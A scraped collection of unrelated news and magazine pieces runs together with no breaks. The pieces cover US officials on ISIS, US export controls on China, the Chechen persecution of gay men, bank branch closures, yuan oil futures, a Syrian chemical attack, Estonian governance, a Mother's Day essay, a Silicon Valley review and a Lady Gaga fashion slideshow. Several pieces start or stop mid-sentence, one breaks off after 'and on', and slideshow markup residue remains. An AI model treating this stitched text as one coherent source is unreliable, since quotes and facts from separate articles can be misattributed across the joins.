official statement by Vice President Mike Pence. "While critics engage in empty rhetoric and baseless attacks, under the President's leadership, ISIS is on the run; North Korea is isolated like never before; and our NATO allies are doing more to pay for their fair share for our common defense... Today our nation once again stands, without apology, as leader of the free world," Pence said. ADVERTISEMENT Thanks for watching! Visit Website ADVERTISEMENT Thanks for watching! Visit Website Both Sanders and Pence's statements were similar to a previous assertion made by Trump himself. On Sept. 15, Trump took to social media to assert that he and his administration had accomplished more than Obama. "We have made more progress in the last nine months against ISIS than the Obama Administration has made in 8 years," Trump tweeted out. "Must be proactive & nasty! The Trump administration's assertion about the president's accomplishments have been challenged by both the Chairman of the Senate Foreign Relations Committee, Republican Sen. Bob Corker of Tennessee, and the Russian government. On Oct. 9, Corker asserted during an interview with The New York Times that Trump's public statements and posture towards the North Korean government undercut Secretary of State Rex Tillerson's efforts to find a diplomatic solution and endangered national security. "Sometimes I feel like he's on a reality show of some kind, you know, when he's talking about these big foreign policy issues," said Corker. "And he doesn’t realize that we could be heading towards World War III with the kinds of comments that he’s making." That same day, Russian defense ministry spokesperson Major-General Igor Konashenkov accused the Trump administration of reducing air strikes in Iraq and allowing ISIS militants to coalesce in Syria, where they could fight the Russian-aligned Syrian army, Reuters reports. "Everyone sees that the U.S.-led coalition is pretending to fight Islamic State, above all in Iraq, but continuing to allegedly fight Islamic State in Syria actively for some reason," Konashenkov told reporters, according to Reuters. U.S. Pentagon spokesperson Colonel Robert Manning denied the Russian government's accusation. "We remain committed to killing ISIS and denying them safe havens and the ability to carry out strikes in the region or globally," Manning said. Sources: The New York Times, Reuters, Washington Examiner / Feature Image: Jim Mattis/Flickr / Embedded Images: The Daily Caller/YouTube, Jim Mattis/FlickrHere’s a billion-dollar opportunity American companies are shy about discussing publicly: supplying China with high-technology that could be used by its military. U.S. export controls limit what technologies can be sold in China. Washington’s policy reflects its long-time arms embargo on China. The goods in question have commercial applications but also a “dual use” that could be military-related, according to the U.S. Commerce Department arm that coordinates the control regime. Now, U.S. policymakers are signaling a rethink of the complex regulations that govern the trade, starting with the ambassador to China, Gary Locke. In a speech earlier this month (pdf), Mr. Locke said the U.S. is “in the midst of a major reform and simplification that will enable more hi-tech goods to be exported to China.” When Mr. Locke was Commerce Department secretary, before becoming ambassador last year, he also spoke of restructuring the bureaucracy of the U.S. high-technology export regime. Senior Chinese policymakers regularly demand more access to U.S. high technology when they discuss the U.S. economic relationship. For instance, China’s presumed next leader, Xi Jinping, called for “substantive steps” by the U.S. to ease restrictions on high-technology exports shortly before he flew to Washington in February to meet with President Barack Obama. AFP/Getty Images Gary Locke More recently, a Chinese Commerce Ministry spokesman welcomed Mr. Locke’s comments but said Beijing hasn’t yet seen movement to ease restrictions. One constituency remains quietly in the background: U.S. corporations that make items that are found on the control lists and otherwise affected by the policy. It’s a touchy subject: Few are likely to want to be seen making money on technologies that have the potential of narrowing the U.S. military lead over China. Some such companies are represented by a subgroup of the American Chamber of Commerce in China called the Export Compliance Working Group. Founded in 2006, the working group says its mission is to facilitate civilian high-tech trade between the U.S. and China, as well as undertake other activities related to the controls (pdf). The working group has a role in the plans Mr. Locke outlined for the control-regime restructuring, specifically a trade-fair and information-sharing event planned for late May and early June n Shanghai, according to a U.S. Embassy spokesman in Beijing. Efforts to solicit comment from corporate members of the committee over the past week or so have been largely unsuccessful. The co-chairman of the working group, Chris Szymanski, an American executive at microchip maker Semiconductor Manufacturing International Corp. said by email few details have been set for the event so there is nothing to discuss. SMIC is a Chinese company managed by a team of foreigners that is permitted to import certain regulated U.S.-produced technology. Other companies on the working group said they would look into the issue but didn’t respond to questions, including Boeing Co., which holds the other co-chair. A Rockwell Collins Inc. spokeswoman said the aerospace and defense company has commercial aviation and military products on the control list but didn’t immediately have information about the upcoming event. Wafer fabrication equipment maker Lam Research Corp. said it couldn’t immediately provide information. An Applied Materials Inc. spokeswoman said the semiconductor company doesn’t plan to participate in the upcoming Shanghai meetings and that the company doesn’t have many products on the control list. Technology equipment maker Veeco Instruments Inc. said through a spokeswoman it hasn’t decided whether to attend and won’t comment on the process. Dow Chemical Co. didn’t respond. A General Electric Co. spokesman said by email that the company makes aircraft engines that are on the control list. He said GE is a founding member of the working group and regularly participates in Sino-U.S. meetings about the issue. There’s potentially a lot at stake with a potential restructuring of the control system, which has been much discussed between China and the U.S. A 2009 study involving members of the American chambers of commerce in China put the value of “lost sales” at over a billion dollars annually. A summary cited China’s development of the Comac C919 aircraft and environmentally clean lighting as businesses in China where U.S. companies are missing out. Estimates from the study, which itself hasn’t been made public and was prepared for the U.S. Commerce Department, were based in part on estimates of revenue lost yearly by just a handful of companies that totaled over $500 million (pdf). -- James T. Areddy. Follow him on Twitter @jamestareddy Like China Real Time on Facebook for the latest updates.Chechen policemen ignore invitations to investigators and firmly deny everything, or declare their tolerance for homosexuals. The Head of the Department of Russian Ministry of Internal Affairs (OMVD) Argun felt bad when he found out that the investigation had lists of those killed, and the Head of the Grozny police even suggested holding a gay parade in the Chechen capital. Chechnya's pre-investigation check of reports on murders and harassment of homosexuals conducted by the investigative group of the central office of the Investigative Committee of Russia (ICR) headed by Igor Sobol, the Deputy Head of the Office of Investigations of the ICR in the North Caucasian Federal District, is complicated by a number of factors. Novaya Gazeta reports the investigative actions, lasting for almost a month, caused panic and sabotage among the siloviki. According to the investigators, in spite of Ramzan Kadyrov's promise to facilitate the verification, it is vice versa that is taking place. Thus, the questioned policemen refused to participate in the investigative actions, ignored the summonses and came to the investigators only after the threat of arrest. They obviously denied all the events described earlier by the media, being jittery. Thus, according to Novaya Gazeta, Argun Ayub Kataev, the Head of the OMVD, whom the victims who experienced the Argun prison refer to as one of the key curators of the mopping-up, felt under the weather as soon as he learned that the investigation had personal data of dozens of those killed, and if a criminal case is instituted, the investigation may demand the exhumation of bodies. Ayub Kataev Magomed Dashaev, the head of the Grozny police, suddenly declared his tolerance for homosexuals: "Nobody will touch them now, even if parades are held in the center of Grozny". Kheda Saratova, a member of the Human Rights Council (HRO) under the Head of the Republic, one of the first who lambasted Novaya Gazeta, did not come to the investigator at all, attributing to illness. The building of the secret prison in Argun, about which Novaya wrote, was inspected. The location of the buildings and rooms in which the prisoners were held was fully congruent to the description of the refugees from Chechnya, who were in it earlier. However, the barracks where, according to the descriptions, illegally detained gays and drug addicts were kept, were buried with a lot of construction debris till the roof level. Secret prison in Argun According to Novaya Gazeta, immediately after the first reports the prisoners of the Argun prison were transferred to the Russian Special Police Force base Terek. However, within a few weeks the investigators did not manage to inspect it, since all this time "the trainings took place" there. In addition, investigators of the central department of the ICR learned that the Chechen security forces began to exert pressure on the relatives of victims and fugitives, demanding that they sign a statement with the standard text stating that "their son (or brother) (full name) left the republic to work in Moscow in late February. There are no claims to the Chechen police". Evidence of one of these cases is recorded in the form of voice messages on the phone. Novaya Gazeta intends to pass the name and position, as well as the telephone number of the officer of the Chechen police, the author of voice messages, to the investigation. One of the victims identified him, stating that the officer personally tortured the detainees on suspicion of their homosexual orientation. The publication also notes that they have transferred new data on four dead residents of Chechnya to the investigation for verification. Three of them were killed on suspicion of homosexuality (among them – an employee of Rosgvardia), the fourth was detained on suspicion of extremism and also killed. His murder occurred after the beginning of the investigation in the republic, which indicates that repressions are still on. This is confirmed by victims’ appeals registered by the Russian LGBT network, who left secret prisons only in early May, when the members of the ICR already worked actively in the republic. Novaya Gazeta also reports on the first known victim of the repression against gay men in Chechnya, who is originally from Russia. It is reported that a resident of Izhevsk was detained by Chechen security forces in March, visited one of the secret prisons, after which he was released. However, he was later searched for and killed in the territory of Russia. The publication writes that this information was obtained from a source from the MIA for Chechnya, noting the fact that there are employees among Chechen security officials, secretly helping the investigation. Thanks to their help the investigators received lists of the illegally detained in one of the secret prisons. The publication notes that the pre-investigation check, conducted by the staff of the ICR in Chechnya, is hampered by the large volumes of actions planned by Igor Sobol, the head of the investigation team. At the same time, the procedural terms are clearly regulated – three days with the subsequent extension to 10, and then to 30 days. Then the head of the investigation team will make a formal decision to refuse to initiate a criminal case, which the leadership of the ICR should abolish, which will extend the inspection for another month, and possibly later for one more. According to the publication, such a period is necessary for investigators to carry out all planned screening activities and obtain the results of the appointed examinations. It is worth noting that the pre-investigation verification of the facts of mass persecution of citizens in Chechnya was sanctioned by the federal center against Chechen authorities and security agencies for the first time in all 10 years of Ramzan Kadyrov's rule. The Novaya Gazeta journalists sent a number of evidence on the persecution of gays in Chechnya, as well as a list of 26 people killed since the beginning of 2017 as a result of extrajudicial executions to the investigation. Yesterday it transpired that Tatiana Moskalkova, the human rights commissioner in Russia, would also send a group of her employees to Chechnya to check reports on crimes against Russian citizens of nonstandard sexual orientation, after which she will visit the republic herself.GRAND RAPIDS, MI -- Fifth Third Bancorp will close five of its 248 branch locations in Michigan this fall as part of a to close or sell more than 100 of its 1,303 branch offices. Michigan branches that will close include ; Orchard Plaza, near Byron Center; a branch in Hamilton, southeast of Holland; on Newburgh Road in Livonia; and on
US dollars alone. In December 1974, the US Treasury signed a secret agreement in Riyadh with the Saudi Arabian Monetary Agency, “to establish a new relationship through the Federal Reserve Bank of New York with the US Treasury borrowing operation” to buy US government debt with surplus petrodollars. The Saudis agreed to enforce OPEC dollar-only oil sales in return for US sales of advanced military equipment (purchased for dollars of course) and a guarantee of protection from possible Israeli attack. This was the beginning of what then-US Secretary of State Henry Kissinger called recycling the petro-dollar. To the present, only two oil export country leaders, Iraq’s Saddam Hussein and Libya’s Qaddafi, have tried to change the system and sell oil for euros or gold dinars. Now China is challenging the petro-dollar system in a different way with the petro-yuan. The difference between Saddam Hussein or Qaddafi is that far more influential countries, Russia and now Iran, with China’s implicit support, are cooperating to avoid the dollar out of necessity forced by US pressure. That is a far stronger challenge to the US dollar than Iraq or Libya could ever manage. The China yuan oil futures contract now will allow China’s trading partners to pay with gold or to convert yuan into gold without the necessity to keep money in Chinese assets or turn it into US dollars. Oil exporters such as Russia or Iran or Venezuela—all targets of US sanctions—can avoid those US sanctions by avoiding oil trades in dollars now. This past September Venezuela responded to US sanctions by ordering the state oil company and traders to make oil sale contracts into euro and not to pay or be paid in US dollars any longer. Gold for oil? The Shanghai International Energy Exchange will soon launch their crude-oil futures contract denominated in yuan. The Shanghai International Energy Exchange futures contract will streamline and solidify the process of selling oil to China for yuan that Russia began after sanctions in 2014. This will also allow other oil producers around the world to sell their oil for yuan instead of dollars. The crude oil futures contract will be the first commodity contract in China open to foreign investment funds, trading houses, and oil firms. The circumvention of US dollar trade could allow oil exporters such as Russia and Iran, for example, to bypass US sanctions. To make the offer more attractive, China has linked the crude-oil futures contract with the option to efficiently convert yuan into physical gold through gold exchanges in Shanghai and Hong Kong. According to Wang Zhimin, director of the Center for Globalization and Modernization at China’s Institute of Foreign Economy and Trade, the possibility of converting the yuan oil futures into gold will give the Chinese futures a competitive advantage over Brent and West Texas Intermediate benchmarks. Now Russia or Iran or other oil producers are in a position to sell oil to China for yuan or rubles, bypassing the dollar entirely. The shift is about to take place in the coming weeks as the yuan oil futures contract is officially launched. Further in October China and Russia launched what is called a payment versus payment (PVP) system for Chinese yuan and Russian ruble transactions that will reduce settlement risk for oil and other trades. Already reportedly Russian oil and gas sales to China are being conducted in Ruble and Yuan and since the foolish US effort to isolate Qatar in the Persian Gulf, Qatar, a major LNG gas supplier to China has switched to pricing in yuan. Pressure is growing that at some point Saudi Arabia breaks its 1974 pact with Washington and sells its oil to China also for yuan. Iran to Join EEU A new element is about to be added to the growing cooperation across Eurasia centered around China and Russia, namely Iran. According to Behrouz Hassanolfat of Iran’s Trade Promotion Organization, in a statement carried on Iranian state-owned Press-TV, as early as February, 2018 Iran is set to become a member of Russia’s Eurasian Economic Union (EEU). Presently the EEU, created in 2015, includes Russia, Kazakhstan, Belarus, Armenia and Kyrgyzstan to create a large zone for free transit of goods, services, capital and workers among member states. Presently the EEU is a market of 183 million people. Addition of Iran with its more than 80 million citizens would give a major boost to the economies of the EEU and to its economic importance, creating a common market of more than 263 million, with skilled labor, engineers, scientists and industrial know-how. Iran has already announced, in face of escalating threats from Washington, that it seeks ways to sell its oil for non-dollar currencies. Integration into the EEU could bring a solution to this as Iran, Russia and China inevitably draw closer in face of relentless US pressures on all three. Increasingly in proportion to the pressure from the West the nations of Eurasia are developing modes of growing their economies independent of US Treasury financial sanctions. In retrospect, it’s likely that those US sanctions will be seen as one of the more stupid attempts of Washington to dominate the economies of Eurasia. F. William Engdahl is strategic risk consultant and lecturer, he holds a degree in politics from Princeton University and is a best-selling author on oil and geopolitics, exclusively for the online magazine “New Eastern Outlook” where this article was originally published. Featured image is from NEO.Warning: Some viewers may find the following footage disturbing. Video report by ITV News Correspondent Geraint Vincent The UN Security Council will hold an emergency meeting on Wednesday to discuss reports of chemical attacks in Syria. The UK and France requested the talks after reports of at least 100 people being killed and 400 injured by the attack in the rebel-held town of Idlib. It is expected a draft resolution will be put forward calling for monthly reports on whether the Syrian government is cooperating with an international inquiry into chemical weapons. Tuesday's attack saw fumes cause many people to choke, as pictures and video emerged showing people limping, struggling to breathe and even foaming at the mouth. The Syrian Observatory for Human Rights (SOHR) said the incident was caused by a warplane releasing "toxic gas" in a residential area in the early hours of Tuesday. They confirmed 11 children were among the dead and at least 160 were injured. A child is treated after a suspected chemical attack in Syria. Credit: ITV News A short time later, a hospital in the town where doctors were treating the victims was bombed. The entrance to the building was hit, bringing down rubble on top of medics who were earlier seen helping wash away chemical residue on patients. US President Donald Trump blamed the Assad regime for the attack and claimed it was consequence of the Obama administration's "weakness and irresolution". Russia denied involvement in the attack. Its Defense Ministry said intelligence suggested the attack was carried out by Syrian planes on weapons depots and an ammunition factory on the eastern outskirts of the town of Khan Sheikhoun. Video report by ITV News Washington Correspondent Robert Moore Theresa May said she was "appalled" by the apparent chemical attack and called for an urgent investigation. The Prime Minister, currently on a trade and security visit to the Middle East, said: "We condemn the use of chemical weapons in all circumstances. If proven [to be a chemical attack] it is further evidence of the barbarism of the Syrian regime. "The UK has led international efforts to call to account the Syrian regime and Daesh and the use of chemical weapons. "I am very clear there can be no future for Assad in a stable Syria, and I call on all parties involved to ensure we have a transition away from Assad. She added: "We cannot allow this suffering to continue". The UN said reports of chemical weapons being used on civilians is "extremely alarming and disturbing". Yamen Khateeb was speaking to the camera seconds before the blast ripped through the hospital entrance. Credit: ITV News Foreign Secretary Boris Johnson, who was meeting with his German counterpart Sigmar Gabriel for talks in London on Tuesday, described the attack as a "war crime" and said the Syrian government "must be held to account". He told reporters: "If this were proved to have been committed by the Assad regime then it would be another reason to assume they are an absolutely heinous outfit. "It is a war crime… bombing your own civilians with chemical weapons is unquestionably a war crime and they must be held to account. "It is unbelievable to think that in the long-term Bashar al Assad can play a part in the future of Syria, given what he has done to his people. "We have to find a way forward that leads to a transition away from Assad." At least 11 children have died in the attack which injured dozens more. Credit: AP The attack is thought to be one of the worst since the war began six years ago. The SOHR did not release any details on what agent could have been used in the attack, but said the strikes were carried out either by the Syrian government or Russian jets. A military source told Reuters the Syrian army "does not and has not used chemical chemical weapons." "Not in the past and not in the future," they added. Russia has also denied any involvement saying they did not carry out any strikes near the area. A doctor helps one patient who is struggling to breathe. Credit: AP The province of Idlib is almost entirely controlled by the Syrian opposition. It is home to some 900,000 displaced Syrians, according to the United Nations. Rebels and opposition officials have expressed concerns that the government is planning to mount a concentrated attack on the crowded province. The government in Damascus and Russia have denied responsibility.In contrast to neighbouring Ukraine, strong governance makes Estonia less vulnerable to internal challenges to stability. Yet, potential economic sanctions on Russia could have a profound impact on the Baltic state too, writes Jan Hofmeyr. Jan Hofmeyr heads the Policy and Analysis Unit of the Cape Town-based Institute for Justice and Reconciliation. The Baltic state of Estonia is one of the more inconspicuous members of the international community. Its small geographic size makes the former Soviet republic difficult to plot on a map for those outside its immediate neighbourhood; its GDP of US$ 23 billion (ranked 102 in the world) hardly makes it an economic force; and since it and other Baltic states spectacularly regained their independence from Soviet Russia in 1991, it remained a fairly unobtrusive player in global politics. Yet, in recent months, eyes turned to Estonia (and neighbouring Lithuania and Latvia), as the crisis in Ukraine stirred up fears about the possibility of a resurgent Russia of Vladimir Putin seeking to assert itself once again over the former republics. Under the pretext of protecting the Russian minority in the Eastern Ukrainian region of Crimea, Russia has offered military and financial support to independence-seeking rebels, following the toppling of the Moscow-friendly President Viktor Yanukovych after he pulled out of an association deal with the European Union in November 2013. Estonia too has a substantial ethnic Russian minority who claims to be the victims of discrimination. Given Estonia’s NATO membership, however, a move by Moscow on Estonia similar to that on Eastern Ukraine is less likely. Article 5 of the NATO Treaty stipulates that an attack on one or more member states constitutes an attack against all member states, and such a move has the potential to plunge Europe in a protracted and bloody crisis. One would, therefore, assume that similar interventions would be regarded as too high a price to pay by the Kremlin, not least because of the potentially massive revenue losses it stands to incur if it should enter into a conflict with one of the largest consumers of its state controlled energy giant, Gazprom’s natural gas products. Instead of direct confrontation, a more subtle approach could be to destabilise the Baltic state’s system of governance by fomenting internal dissent (as it has accused the United States of doing in the case of Ukraine) by mobilising the ethnic Russian minority. Yet, unlike Ukraine, which has been plagued with weak administration and high levels of corruption throughout successive administrations, Estonia might prove to be a much harder nut to crack. Its institutions of governance are far more trusted and hence capable of absorbing and dealing with social tensions. In Transparency International’s 2013 Global Corruption Perceptions Index, which ranks countries from least to most corrupt, Estonia is ranked 28th, compared to the Ukraine’s 144th. The World Economic Forum’s Global Competitiveness Report ranks Estonia on 32th place overall, while the Ukraine is located much further down on 84th place out of a total of 144 countries. Ranked 137th for the quality of institutions, Ukraine proved itself particularly vulnerable to internal contestation of the quality of its governance. In the most recent Sustainable Governance Indicators (SGI) study by the Bertelsmann Stiftung, which was released earlier this year, Estonia not only emerged as the best performing former Soviet republic, but also as one of the study’s top performers overall. This is no mean feat, considering that its achievement places it in the company of countries with longer traditions of democratic and market development. In terms of SGI’s Policy Performance Index, which captures the quality of economic-, social- and environmental policies, Estonia finds itself in the 7th spot, and is only outperformed by the established Western democracies of Sweden, Norway, Finland, Denmark, Switzerland and Germany. These results underscore just how remarkable Estonia’s transformation from an autocracy with a centrally-controlled economy to a democracy with a market-based democracy has been. The SGI study ascribes this to the country’s strong and resilient economy. But it also makes special mention of Estonia’s high-performing education system which is ranked top of all 41 OECD and European Union countries in the assessment. Impact of economic sanctions on Russia The Estonian economy is, however, in need of revitalisation. The robust growth that the SGI 2014 has highlighted as one of the country’s foundational strengths has floundered in recent years. While it managed to maintain average growth rates in excess of 7% between 2002 and 2007, the economy contracted in 2008 and 2009. Although Estonia returned to positive growth in subsequent years, GDP has slumped again to 4% in 2012 and 0.8% in 2013. Economists predict 3.6% growth for 2014. With demand levels remaining relatively low amongst its major trading partners in Europe, it appears as if Estonia’s subdued growth may be due to cyclical factors. Much will, however, also depend on how the situation in Eastern Ukraine evolves. Should the international community follow the recent example of the US and tighten economic sanctions against Russia, which also happens to be Estonia’s largest export destination, the Baltic country might feel a more profound impact on its economy. The country’s newly elected prime minister, Taavi Roivas, seems to be taking the long view on this. Quoted recently by Reuters, Roivas suggested that the economic discomfort might be worth bearing to secure a favourable political outcome. As the situation in the Eastern Ukraine continued to escalate this week in the wake of the Malaysian Airlines disaster, Talinn and its Baltic partners may be wondering how long they will still be able to take the pain.I always thought motherhood would change the way I feel about Mother's Day. In some ways it has; at least I have something to do on the second Sunday in May. But the fact is, while I love my child, I still hate Mother's Day. I hate the commercials that show loving families all gathered around granny. I hate the newspaper circulars that beg me to "thank mom." Thank her for what? A desperately low level of self-esteem and a tendency to apologize for breathing? In the way that single people dread Valentine's Day, those of us with absent mothers dread the first few weeks of May. We prepare for the onslaught of mush and gush by steeling our hearts. I didn't grow up in one of those homes you see on the commercials. My mother was cold. Is cold. She's mean and manipulative. She's a raging narcissist. She doesn't need a Mother's Day to feel special. She has every day to make life about herself. I sound bitter. I know. I am bitter. But it's not because I didn't have a perfect mother or even a good one. I'm trying to make my peace with that as I attempt to be a good mom without a good mom role model. I'm bitter because she's made a day when I should be reveling in being a mother into a day when I would like nothing more than to crawl under the covers and sleep until it's over. I should be overjoyed on Mother's Day, drinking in the scent of my flowers and the scent of my daughter's shampooed hair. I should be smiling and singing and on top of the world. Instead, I struggle to be present and paste a smile on my face for the sake of my child and my husband. Just looking at my daughter on Mother's Day is painful. It's not her fault. Being a loving mom reminds me that I don't have one. By the end of the day, I hate myself more because I've succumbed to the feelings of resentment I more easily keep tamped down during the rest of the year. On Mother's Day, I'm forced to confront the fact that I'm jealous of my own daughter. I am jealous that she has the mom I didn't have. I'm jealous because she will never spend a Mother's Day crying because a gift she worked her heart and soul to make was cast aside. I'm jealous because Mother's Day will never be another day to make her feel more inadequate. I'm jealous because everything the commercials say is true. Moms are supposed to love you and care for you and be that hero you want to run to on Mother's Day with an armful of flowers. And mine isn't. I can't change my mother just by being a mother. I can't change my feelings about Mother's Day just by being a mother. The only thing I can do is prop myself up, put a grin on my face, and try to give my child the Mother's Day SHE deserves. She still has a chance to love Mother's Day. I don't want to ruin that for her. Dealing with an absent mom on Mother's Day? How do you deal? Image via Woodleigh School/FlickrWith the third season of celebrated filmmaker Mike Judge’s Silicon Valley on the way later this month, there is perhaps no better time than now to get on board with the latest comic creation from the writer-director of such monumental comedic properties as Office Space and Beavis and Butt-Head. Like the formerly mentioned contemporary cult-classic, Judge finds himself once again belittling and mocking, albeit ultimately embracing, the modern tech-savvy business culture of the program’s eponymous Californian locale, while taking the requisite time to indulge in all of the sophomoric excess of the latter animated franchise. Where Extract, his last feature film from 2009, saw Judge reveling in the kind of working-class Middle American malaise familiar to that of his King of the Hill, Silicon Valley possesses a more finely tuned ear for the college educated echelon of loserdom specific to computer science majors striving to write the next big code requisite to the making of the next big smartphone app, yet still bearing all of the feral menace and bite of his under-looked studio satire Idiocracy of 2006. Silicon Valley is thus consistent with the larger Judge oeuvre, yet it still manages to surprise even the most well versed fan of the seminal television and feature filmmaker’s decided authorial voice thanks to a well-rounded cast of A-list comic actors. Thomas Middleditch is incredibly dopey as Pied Piper CEO Richard Hendricks; T.J. Miller steals the show as Steve Jobs-wannabe Erlich Bachman; Martin Starr subtly subverts any of the show’s outstanding stereotypes as Bertram Gilfoyle; and Kumail Nanjiani plays the out-shined cog as Dinesh Chugtai. Collectively, the entire team that makes up the show’s fictional start-up company in the West Coast region known for technological innovation all have their part to play in what is one of the most comprehensive takes on the current age of the geek, in all of its many forms and guises, in what is the most cringe-worthy situation comedy since HBO’s other tent-pole series Curb Your Enthusiasm abruptly entered a period of indeterminate hiatus in 2011. But unlike Larry David, Judge always manages to find small sparks of humanity in his straw men characters who for the sake of the genre must act as clowns, which has always proved to be his the saving grace for much of his work on television and in film. Seinfeld was a show infamously about nothing, featuring characters meant to exemplify the very worst traits that humanity has to offer, whereas King of the Hill always managed to find something heartwarming in its buffoonish caricature of backwoods suburban sprawl. Likewise, Erlich Bachman might be the most odious incarnation of self-centered apathy, yet in Miller’s ability to inflect every well-worded insult with an ounce of self-conscious deflection, there is plenty to love about and sympathize with his comic anti-hero. Some viewers may find Silicon Valley an incredibly tiresome viewing experience, as the show never shies away from depicting its central protagonist as a weedy, ineffective dweeb, who constantly finds himself tripping over his own two feet. Yet Middleditch is also an incredibly familiar character, and in his unrefined nerdiness it’s easy to see yourself in a similar situation acting in a manner not entirely divorced from his lack of social graces. Judge has seemingly outdone himself in his latest offering on HBO, as Silicon Valley at once builds upon all of his outstanding work, and yet manages to do something entirely novel, despite the immediacy pre-established by the series creator’s decided auteur status. It would be a crying shame if more people didn’t get on board with the show going into its third season, especially considering the dramatic cliffhanger with which newcomers to the show’s supported comedy will be greeted by if they so choose to give the program a try in a few short weeks. After erroneously fumbling a crucial court case in order to retain the rights to his original computer program, and subsequently handing off all of the rights to his company to a former business-partner-cum-industrial-conglomerate, viewers who join in with Middleditch’s often pathetic attempts at masculine urgency should find plenty to laugh at, with, and about. Though the through-line of each episode frequently results in one embarrassing situation after another, the larger thematic tapestry that makes up for the larger dramatic comedy is compelling and satisfying in an intensely humanistic sense, as each flub and wrong turn is one made believable through Middleditch’s social misfires, Miller’s obnoxious bravado, Starr’s discordant self-assuredness, and Nanjiani’s fumbling attempts at cool. Judge has come a long way since Beavis and Butt-Head, and Silicon Valley might be the very best bit of original comedy writing that he has produced on television over the course of his entire career. While borrowing substantially from his seminal theatrical hit Office Space, Silicon Valley manages to take the work-place comedy to uproariously intimate places whereby the comic series of trial-and-error that inevitably ensues feels fresher than it has since the early seasons of The Office on NBC. Taking several cues from himself along the way, Silicon Valley is one of the most realistic sitcoms Judge has ever made, as it never pulls any punches in its honest examination of contemporary tech workers pitted against a satirical premise that seamlessly blurs the line in-between distinguishing blue-collar and white-collar work. By the end of the show’s second season, viewers will likely find themselves in a position of self-identification with the various members of the ever growing Pied Piper team. Whether you willingly see yourself in either Richard Hendricks or Erlich Bachman shoes or not, you’ll be hard-pressed to find yourself in a position where neither character resembles some form of workplace archetype that you could find yourself in a position of subscribing to as a means of professional and personal identification. Silicon Valley is one of the most well-rounded comedies that Mike Judge has provided his independent stamp to yet, making it one of the best shows on HBO and a television series that you should be catching up on in full ahead of its third season premiere.Latex, lace and a general distaste for pants: Ladies and gentlemen, 2009 was an excellent year for Lady Gaga. It's safe to say she wore hundreds of ensembles this year; here are the highlights. JANUARY London, January 15. The year began with a demure, understated white jumpsuit, accessorized with a bow of hair. A nod to the noted adventurer Alice In Wonderland? Perhaps… But The Lady loves a girlish touch. Bauer-Griffin." /> Advertisement JANUARY Munich, Germany; January 26. At something called DLD Star Night at Haus der Kunst, the Lady "rocked" crystal formations. Getty." /> Advertisement JANUARY She's hard as a rock, a gem. Getty." /> Advertisement JANUARY London, January 28. After hanging out with Mark Ronson, The Lady was seen wearing an oh-so-breathable latex ensemble. A flower in the hair keeps it feminine! Bauer-Griffin." /> Advertisement FEBRUARY London, February 18. This image was shot during rehearsals for the Brit Awards 2009 at Earls Court, London. These leggings were ankle-length during rehearsals, but during her actual performance, the legs had been cut off so that only a patterned panty remained. She is Captain of Team No-Pants. Bauer-Griffin." /> Advertisement FEBRUARY London, February 18. Backstage at the Brit Awards: A scorching hot pink cocktail dress. Getty." /> Advertisement MARCH Santa Monica, CA; March 11. For an Interscope Records portrait session, a masculine tuxedo jacked was paired with a disco ball bra and shorts. Victor/Victoria! AP." /> Advertisement MARCH Los Angeles, March 13. During a show at the Wiltern Theater, geometric shapes and a gravity-defying skirt. Getty." /> Advertisement APRIL London, April 16. Purple reign? Purple drank? WENN." /> Advertisement APRIL April 20, London. A temptress and a teacup. Bauer-Griffin." /> Advertisement APRIL Paris, April 23. Lyrics from Lady Gaga's song "The Fame" seem to fit here: I can't help myself I'm addicted to a life of material It's some kind of joke I'm obsessively opposed to the typical All we care about is runway models, Cadillacs and liquor bottles Give me something, I wanna be Retro glamour, Hollywood, yes we live for the Fame… Advertisement Bauer-Griffin." /> MAY Boston, May 4. An Electric Lady during a performance for The Grammy Celebration Concert Tour at the House of Blues. How many leotards do you think she owns? Advertisement AP." /> MAY Sydney, Australia; May 21. Captain No Pants marches on. Bauer-Griffin." /> Advertisement JUNE Toronto, June 19. If you're keeping notes, purple is a yes; pants are a no. Bauer-Griffin." /> Advertisement JUNE Toronto, June 19. Your love is nothing I can't fight, Can't sleep with the man who dims my shine. — "I Like It Rough," Lady Gaga Bauer-Griffin." /> Advertisement JUNE Toronto, June 21. I can see you staring there from across the block With a smile on your mouth and your hand on your [huh] — "Love Game," Lady Gaga Bauer-Griffin." /> Advertisement JUNE Toronto, June 21. Danger + sexuality + power = A Lady Gaga performance. AP." /> Advertisement JUNE Toronto, June 21. At the 2009 MuchMusic awards, Lady Gaga won Best International Video. She did not, however, sing any songs from Hair. Unfortunately. Bauer-Griffin." /> Advertisement JULY London, July 14. Maison Michel bunny ears and an elaborately knit sweater dress prove that The Lady is provocative even when her body is mostly covered. Bauer-Griffin." /> Advertisement JULY German TV, July 21. Muppet show! The infamous Kermit jacket, which she wore on German TV — originally seen in the Jean-Charles de Castelbajac's runway show in May — made for a memorable Muppet moment. Advertisement AUGUST Jerusalem, August 18. Ms. Gaga dressed down for the Holy Land, but as a former Catholic schoolgirl, made sure to wear a cross. In a song called "Teeth," Gaga sings, "My religion is you." Advertisement Getty." /> (Click to enlarge) Advertisement SEPETEMBER Berlin, September 7. Sometimes The Lady dresses like quite ladylike! AP." /> Advertisement SEPTEMBER London, September 8. An imagined conversation from the Project Runway judges: Nina: I'm not bored… Michael Kors: It shows creativity, but the shoulders are insane. Heidi Klum: I think it looks like she woke up and took the bedspread with her. Advertisement Getty." /> SEPTEMBER Paris, September 10. Don't you love the Julie Christie hair? Bauer-Griffin." /> Advertisement SEPTEMBER Paris, September 10. Lieutenant Gaga says: Fight the good fight! The War On Pants will be won! Bauer-Griffin." /> Advertisement SEPTEMBER New York, September 13. The 13th was a huge day for Ms. Gaga: The MTV Awards. These are just a few of the ensembles she wore! Her red carpet dress was "Venetian Steampunk Lady In Mourning." Quoth the raven, "J'adore!" Getty." /> Advertisement SEPTEMBER New York, September 13. A blood-soaked rendition of "Paparazzi" required white boots and outrage. Getty." /> Advertisement SEPTEMBER New York, September 13. When Gaga picked up her Best New Artist award, she wore red lace and a McQueen headpiece right out of Pan's Labyrinth. Getty." /> Advertisement SEPTEMBER New York, September 13. In the pressroom after the MTV awards, it was time for a little jumper that was part Chrysler building, part Metropolis. Getty." /> Advertisement SEPTEMBER New York, September 13. Also at the MTV awards: Bird nest. Advertisement SEPTEMBER New York, September 13. For her own VMA after party, Gaga made the mantilla chic. Getty." /> Advertisement SEPTEMBER New York, September 14. The day after the MTV awards, Ms. Gaga attended the Marc Jacobs fashion show in a ladylike frock. And Zorro-like mask. Bauer-Griffin." /> Advertisement SEPTEMBER New York, September 14. At a party for V Magazine, Marc Jacobs and Belvedere Vodka: Doesn't every Catholic schoolgirl dream of having her own radiant 